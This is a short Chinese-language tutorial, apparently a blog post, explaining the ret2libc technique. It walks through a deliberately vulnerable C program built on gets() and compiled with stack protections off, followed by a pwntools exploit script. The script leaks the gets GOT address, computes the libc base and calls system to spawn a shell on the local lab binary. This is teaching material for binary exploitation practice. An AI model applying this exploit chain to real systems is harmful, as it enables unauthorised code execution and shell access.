ret2libc
libc,C函数库
泄露libc函数地址的条件:
1.有输出函数(puts,printf,write等)
2.将参数设置为某函数got表地址
执行后就会打印got表的内容。got表中每个函数的偏移,只要用获得的地址减去偏移就可以得到基地址,再通过加上偏移,即可实现任意调用libc中的任意函数。
通过真实的函数地址的后三位可以通过https://libc.blukat.me/知道libc的版本,从而知道其他函数如system的地址偏移。
payload=‘a'*offset + p32(返回地址1,或函数A的地址) + p32(返回地址2) + 函数A的参数列表(1,2,3.......)
如果返回地址1是一个函数的入口地址,如printf@plt,那么紧接着应该接一个返回地址,因为此时的ret指令已经相当于call指令了,栈中需要一个该函数的返回地址,也就是该函数执行结束后返回的位置,即是返回地址2。
举个demo:
实验代码:
#include<stdio.h>
void task()
{
char buf[5]={0};
gets(buf);
}
void main()
{
write(1,"hello",5);
task();
}
gcc -no-pie -fno-stack-protector -m32 -o ret2libc ret2libc1_32.c //ASLMR = 1
关闭canary保护和pie保护
from pwn import *
context(arch="i386",os="linux")
p=process("./ret2libc")
e=ELF("./ret2libc")
offset=17
write_plt = e.plt["write"]
gets_got = e.got["gets"]
task_addr = e.symbols["task"] //找函数找变量
payload1=offset*'a'+ p32(write_plt) + p32(task_addr) + p32(1) + p32(gets_got) + p32(4) //为了2次返回
p.sendlineafter("hello",payload1)
gets_addr = u32(p.recv())
libc=ELF("/lib32/libc.so.6")
libc_base = gets_addr - libc.symbols["gets"]
system_addr = libc_base+libc.symbols["system"]
sh_addr = libc_base+libc.search("/bin/bash").next() //search函数会找到多个值而返回多个,用next()取第一个就行。
payload2='a'*offset + p32(system_addr) + p32(0) + p32(sh_addr) //p32(0)是因为执行system后返回到哪都无所谓,因为不打算返回
p.sendline(payload2)
p.interactive()


浙公网安备 33010602011771号